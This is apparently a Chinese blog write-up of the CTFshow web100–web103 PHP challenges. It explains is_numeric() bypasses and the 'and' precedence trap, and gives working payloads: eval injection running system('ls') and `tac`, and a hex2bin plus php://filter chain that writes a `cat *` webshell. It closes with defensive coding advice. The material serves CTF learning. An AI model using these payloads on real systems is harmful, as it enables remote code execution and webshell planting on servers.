1. 从一道CTF题说起:is_numeric函数到底在“看”什么?
如果你刚开始接触CTF的Web题目,尤其是PHP代码审计类的,大概率会遇到一个老朋友:is_numeric()函数。很多新手朋友第一次看到这个函数名,可能会想:“这不就是判断是不是数字吗?能有什么花活?” 我刚开始也是这么想的,直到在实战里被它“教育”了几次,才发现这个看似简单的函数,背后藏着不少PHP语言特性的“坑”,而这些“坑”,恰恰是出题人最喜欢设置考点的地方。
简单来说,is_numeric() 函数用于检测一个变量是否为数字或数字字符串。听起来很直白,对吧?比如 is_numeric(123) 返回 true,is_numeric("123") 也返回 true,is_numeric("abc") 返回 false。但它的“宽容度”可能比你想象的要高。它不仅能识别十进制整数、浮点数,还能识别科学计数法(如 "1e3")、带有正负号的数字(如 "+123"、"-3.14"),甚至是一些十六进制表示(在某些PHP版本中,如 "0x1A")。这种“宽容”在方便开发的同时,也给安全留下了隐患,因为攻击者可以利用这些非标准的数字表示形式,绕过一些看似严格的输入校验。
在CTFshow的Web入门系列题目(web100-web103)中,is_numeric() 函数就是核心的“守门员”。题目设计者故意把它放在关键的逻辑判断位置,让你必须想办法让这个函数对你精心构造的“非纯数字”payload返回 true,才能进入后续的代码执行环节。这就像是一道门的密码锁,你以为密码只能是0-9的数字,结果发现它还能识别一些特殊的“暗号”。我们接下来的任务,就是学会识别并构造这些“暗号”,从而打开这扇门,拿到后面的flag。
理解这个函数,不仅仅是记住它的返回值。更重要的是,要理解它在PHP表达式中的行为,尤其是当它和赋值运算符(=)、逻辑运算符(and, &&, or, ||)一起出现时,PHP那套独特的运算符优先级和求值顺序规则。这往往是绕过检测的第一步,也是最容易让人迷惑的一步。别担心,我会用最直白的例子,带你把这些弯弯绕绕理清楚。
2. 运算符优先级:那个容易被忽略的“and”
在PHP里,运算符优先级决定了表达式中各个部分计算的先后顺序。这是一个基础但至关重要的概念,尤其是在代码审计时。我们直接看web100题目的核心代码片段:
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
// 执行关键代码
}
很多人的第一反应是:$v0 的值应该是后面整个逻辑表达式 is_numeric($v1) and is_numeric($v2) and is_numeric($v3) 的结果。也就是说,$v1、$v2、$v3 必须全是数字,$v0 才会是 true,才能进入if语句。
但这里有一个巨大的陷阱:运算符 and 的优先级低于赋值运算符 =。
这意味着上面那行代码的实际执行顺序是:
- 先计算
is_numeric($v1)的结果(假设为$tmp)。 - 然后执行赋值操作:
$v0 = $tmp。 - 最后,才将
$v0的值与后面的is_numeric($v2) and is_numeric($v3)进行and运算。但这个运算的结果并没有赋值给任何变量,直接被丢弃了。
所以,整行代码执行完后,$v0 的值仅仅等于 is_numeric($v1) 的结果。只要 $v1 是数字,$v0 就是 true,后面的 $v2 和 $v3 是什么,根本不影响 $v0 的值!
为了让你看得更清楚,我们对比一下 and 和更常见的 &&:
$a = true and false; // $a 的值为 true
$b = true && false; // $b 的值为 false
var_dump($a, $b); // 输出: bool(true) bool(false)
看到区别了吗?&& 的优先级比 = 高,所以 $b = true && false 等价于 $b = (true && false),$b 自然是 false。而 and 优先级低,所以 $a = true and false 等价于 ($a = true) and false,$a 被赋值为 true 后,再和 false 做 and 运算,结果丢弃,$a 保持不变。
这就是web100的第一个突破口。题目用 and 制造了一个逻辑假象,让我们误以为需要三个变量都是数字。实际上,我们只需要让 $v1 通过 is_numeric() 检测就行了。这大大降低了我们构造payload的难度。$v2 和 $v3 我们可以自由发挥,用来构造最终的恶意代码。我当年第一次遇到这种写法时,也愣了半天,反复测试才确信是这个逻辑。所以,在审计代码时,遇到 and/or 和赋值连用,一定要打起十二分精神,亲自在本地环境测试一下它的真实求值顺序,不要想当然。
3. 构造Payload:从反射类到任意代码执行
知道了只需要让 $v1 是数字(比如 v1=1),我们就拿到了进入后续代码的“门票”。接下来看 if 语句里的内容:
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
这里对 $v2 和 $v3 做了限制:
$v2中不能包含分号;。$v3中必须包含分号;。
最后,它们会被拼接进一个 eval() 函数中执行:eval("$v2('ctfshow')$v3");。这行代码拼接后的样子,直接决定了我们能执行什么。
3.1 利用ReflectionClass获取类信息
题目提示“flag in class ctfshow”。这意味着flag藏在名为 ctfshow 的类里。PHP中有一个强大的内置类叫 ReflectionClass(反射类),它可以用来获取一个类的所有内部信息,比如方法、属性、常量等。当我们 echo 一个 ReflectionClass 对象时,PHP会自动调用它的 __toString() 方法,输出该类的详细信息。
所以,最直接的payload就是构造一条能创建并输出 ctfshow 类反射对象的语句。我们让:
$v2 = "echo new ReflectionClass"$v3 = ";
把它们代入 eval 语句:eval("echo new ReflectionClass('ctfshow');");。这条语句会执行,输出 ctfshow 类的反射信息,flag就藏在这些信息里。
完整的GET请求就是:?v1=1&v2=echo new ReflectionClass&v3=;。
提交后,页面会输出一大串文本,其中包含类似 5322193e0x2d9ab00x2d4faa0x2daafc0x2d21f6bbb10397 的字符串。这里的 0x2d 是 - 号的十六进制HTML实体表示。我们需要将其替换回 -,并用 ctfshow{} 包裹,得到最终flag:ctfshow{5322193e-9ab0-4faa-aafc-21f6bbb10397}。
这个方法非常经典,它不依赖于任何文件操作或系统命令,纯粹利用PHP自身的特性来泄露信息,是“白盒”测试中常用的技巧。我第一次成功用这个方法拿到flag时,感觉特别奇妙,就像是用一把合法的钥匙,打开了程序内部的一扇观察窗。
3.2 更灵活的代码执行与闭合技巧
当然,CTF的魅力在于不止一种解法。既然我们能控制 eval() 中的一部分代码,我们完全可以尝试执行任意PHP代码,比如执行系统命令来找flag。
方法一:使用PHP闭合标签 ?>
观察 eval("$v2('ctfshow')$v3");,如果我们让 $v2 的结尾部分能提前结束PHP代码块,那么后面的 ('ctfshow') 就会被当作普通文本输出,而不会引发语法错误。PHP的闭合标签 ?> 正好用于此。
构造 $v2 = "system('ls');?>",$v3 依然是 ;。代入后:
eval("system('ls');?>('ctfshow');");
当PHP解析器遇到 ?> 时,就退出了PHP模式,后面的 ('ctfshow'); 被当作纯文本直接输出到页面,而 system('ls'); 已被成功执行,会列出当前目录的文件。通过这种方式,我们可以用 tac、cat 等命令读取文件内容。我在实战中常用 ?v1=1&v2=echo tac ctfshow.php?>&v3=; 这样的payload,利用反引号执行命令并输出结果。
方法二:使用注释符
另一种思路是把后面多余的 ('ctfshow') 注释掉。PHP支持 /* */ 多行注释和 // 单行注释。
构造 $v2 = "system('ls');//",$v3 为空或任意字符。但注意题目要求 $v3 必须包含分号,所以我们可以用 $v3 = ";",然后在 $v2 里用 /* 注释开头。
更优雅的payload是:?v1=1&v2=system('ls')/*&v3=*/;。
代入后:eval("system('ls')/*('ctfshow')*/;");。/* */ 中间的内容全部被注释,代码等价于 eval("system('ls');");,非常干净。
方法三:直接利用原结构
其实,最直接的往往最有效。我们仔细看原语句 $v2('ctfshow')$v3。如果我们让 $v2 是一个可以接受参数的函数名,$v3 提供闭合的括号和分号,那么这就是一个标准的函数调用。
例如,$v2 = "var_dump",$v3 = ");"。代入后:eval("var_dump('ctfshow'));");。这本身是合法代码。但我们的目标是输出 $ctfshow 变量(假设flag在里面)。我们可以用 ?v1=1&v2=var_dump($ctfshow)&v3=;。代入后:eval("var_dump($ctfshow)('ctfshow');");。这看起来有点怪,但PHP是如何解析的呢?var_dump($ctfshow) 执行后,返回值是 NULL,然后代码变成了 NULL('ctfshow'),这会产生一个错误。但关键在于,在产生错误之前,var_dump($ctfshow) 已经执行完毕了,flag已经输出到页面上了!这是一种“用错误中断后续执行”的技巧,在很多CTF场景下都有效。我更喜欢用 print_r,它的输出格式更友好。
这些闭合与注释的技巧,是PHP代码审计和漏洞利用的基本功。它们教会我们,看待一段代码不仅要看它“应该”怎么执行,更要思考在参数可控的情况下,它“可能”被拼接成什么样子。多尝试几种拼接方式,往往能发现意想不到的利用路径。
4. 进阶绕过:当数字与字符的边界模糊
到了web102,题目升级了。我们来看关键代码:
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2, 2);
$str = call_user_func($v1, $s);
file_put_contents($v3, $str);
}
熟悉的 and 陷阱又来了,所以 $v4 只取决于 is_numeric($v2)。因此,$v2 必须是数字(或数字字符串)。然后,代码取 $v2 的第3个字符开始的子串(substr($v2, 2))赋值给 $s。接着,用 call_user_func($v1, $s) 调用 $v1 指定的函数,参数是 $s,结果存入 $str。最后,把 $str 写入 $v3 指定的文件。
我们的目标很明确:向服务器写一个Webshell(比如 <?=cat *;?>),然后访问它获取flag。路径是:$v2 (数字) -> $s (我们的payload) -> $v1函数处理 -> $str (处理后的payload) -> 写入 $v3 文件。
但最大的障碍是:$v2 必须是数字,而 substr($v2, 2) 截取出来的 $s 也将是纯数字字符串。一段包含字母、尖括号的PHP代码,怎么可能是纯数字呢?
这里就需要用到 is_numeric() 的另一个特性:它认为科学计数法形式的字符串是数字。例如,"1e3"、"2.5e-2" 都能通过 is_numeric() 检测。字母 e 在科学计数法中是合法的。
我们的思路是:
- 将想要执行的PHP代码(如
<?=cat *;?>)进行Base64编码。Base64编码只包含字母、数字和+/=,看起来不像纯数字。 - 将Base64编码后的字符串,转换成十六进制(Hex)字符串。Hex字符串只包含
0-9和a-f。 - 关键来了:这个Hex字符串里如果包含
e,它依然可以通过is_numeric()的检测,因为e可以被解释为科学计数法的指数符号!例如,字符串"5044383959474e6864434171594473"在is_numeric()看来是合法的,因为它可以被理解为一个非常巨大(但可能无意义)的数字的科学计数法表示的一部分。 - 我们让
$v1为hex2bin函数,它的作用正是将十六进制字符串转换回二进制数据(即我们原始的Base64字符串)。 - 最后,
$v3我们指定为php://filter伪协议,并加上convert.base64-decode过滤器。这样,file_put_contents在写入文件前,会先将$str(即Base64字符串)进行解码,还原成原始的PHP代码再写入。
具体操作如下:
- Payload:
<?=cat *;?>(用反引号执行命令) - Base64编码:
PD89YGNhdCAqYDs+(注意,末尾的=是填充符) - 转换为十六进制:
5044383959474e68644341715944733d - 去掉末尾的
3d(即=),因为Base64解码时填充符可有可无,而且3d是=,不是数字,可能通不过检测。得到:5044383959474e6864434171594473 - 验证:这个字符串里包含
e(4e中的e),但整体能被is_numeric()接受。 - 因为
substr($v2, 2)会从第三个字符开始取,所以我们需要在payload前面补两个数字,比如00。所以最终的$v2 = "005044383959474e6864434171594473"。 $v1通过POST传递:v1=hex2bin。$v3指定写入的文件和过滤器:v3=php://filter/write=convert.base64-decode/resource=1.php。
整个流程连起来就是:我们传入一个“数字字符串” $v2 -> 截取出Hex字符串 -> hex2bin 函数将其还原为Base64字符串 -> 通过filter伪协议Base64解码 -> 最终将 <?=cat *;?> 写入到 1.php 文件。
访问 1.php,它就会执行 cat * 命令,列出目录下所有文件的内容,flag就在其中。我第一次成功跑通这个链的时候,感觉像完成了一个精巧的魔术。它完美地利用了PHP类型判断的模糊性、字符串转换函数和流过滤器,将一段“非法”的代码,伪装成“合法”的数字,最终成功落地执行。web103只是在web102基础上过滤了“php”字符串,但我们上面的payload(<?=cat *;?>)和最终写入的文件名(1.php)都不包含“php”这个词,所以payload完全复用,直接就能打。
5. 实战中的思考与防御建议
通过这四道题,我们深入剖析了 is_numeric() 函数在CTF中的几种典型绕过姿势。从利用运算符优先级的逻辑漏洞,到构造字符串利用科学计数法特性,再到结合编码转换和伪协议进行文件写入,每一步都体现了对PHP语言特性深入理解的重要性。
作为防守方,或者说在开发中,我们应该如何避免这类问题呢?
- 严格类型检查:不要仅仅依赖
is_numeric()。对于期望是整数的输入,使用intval()或filter_var($var, FILTER_VALIDATE_INT)进行转换和验证。对于严格需要数字字符串的场景,可以用ctype_digit()(仅限十进制正整数)或preg_match('/^\d+$/')进行更严格的匹配。 - 理解运算符优先级:在代码审计和编写时,对包含
and、or和赋值的复杂表达式要保持警惕。尽量使用括号()来明确表达式的计算顺序,避免歧义。if(($a = func1()) && func2())比if($a = func1() and func2())意图清晰得多。 - 慎用
eval()和动态函数执行:eval()、assert()、call_user_func()、$function()这类动态代码/函数执行功能是极其危险的,永远不要将用户输入直接拼接进去。如果确实需要动态调用,应使用白名单机制,只允许调用预定义的、安全的函数或类方法。 - 对文件操作进行限制:使用
file_put_contents()等函数时,要严格控制写入路径和内容。避免用户控制完整的文件路径,特别是结合php://filter等伪协议时。可以对目标目录进行权限限制,或使用固定的、无执行权限的目录来存放用户上传的文件。 - 输入过滤与输出编码:对用户输入进行严格的过滤和验证,遵循“最小权限原则”,只允许必要的字符。对所有输出到HTML、命令行或其他上下文的数据进行适当的编码,防止注入攻击。
回过头看,这些CTF题目虽然为了教学目的放大了漏洞,但其原理在真实的、编写不够严谨的Web应用中同样可能存在。学习绕过技巧,最终目的是为了更好的防御。当你下次在代码里写下 is_numeric() 时,不妨多思考一秒:我到底想验证什么?有没有更严格、更安全的方式?这种安全意识,才是从这些入门题目中能带走的最宝贵的财富。我自己在代码审计工作中,每次看到 is_numeric() 都会条件反射般地检查它的上下文,看看有没有组合成“漏洞三明治”的可能,这已经成了一种职业习惯。希望这篇文章能帮你建立起这种条件反射的起点。
486



被折叠的 条评论
为什么被折叠?



